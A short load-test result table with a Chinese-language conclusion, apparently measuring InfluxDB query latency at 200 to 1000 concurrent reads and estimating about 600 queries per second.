200 1.20ms 1.71ms 7.40ms 0.3sec
300 1.25ms 1.73ms 7.54ms 0.5sec
400 1.21ms 1.71ms 7.54ms 0.7sec
500 1.20ms 1.70ms 7.54ms 0.8sec
600 1.17ms 1.67ms 7.54ms 1.0sec
700 1.14ms 1.66ms 8.33ms 1.2sec
800 1.14ms 1.65ms 8.33ms 1.3sec
900 1.14ms 1.63ms 8.33ms 1.5sec
1000 1.14ms 1.64ms 8.33ms 1.6sec

测试结论:因为该工具最大只能测到读取1000条数据,所以没有继续加大压力测试。查询操作的消耗时间因为受到被查询表的数据量和查询语句的复杂性影响,所以在influxDate官方给出的被查表和查询语句下,算出来是平均每秒执行600次查询。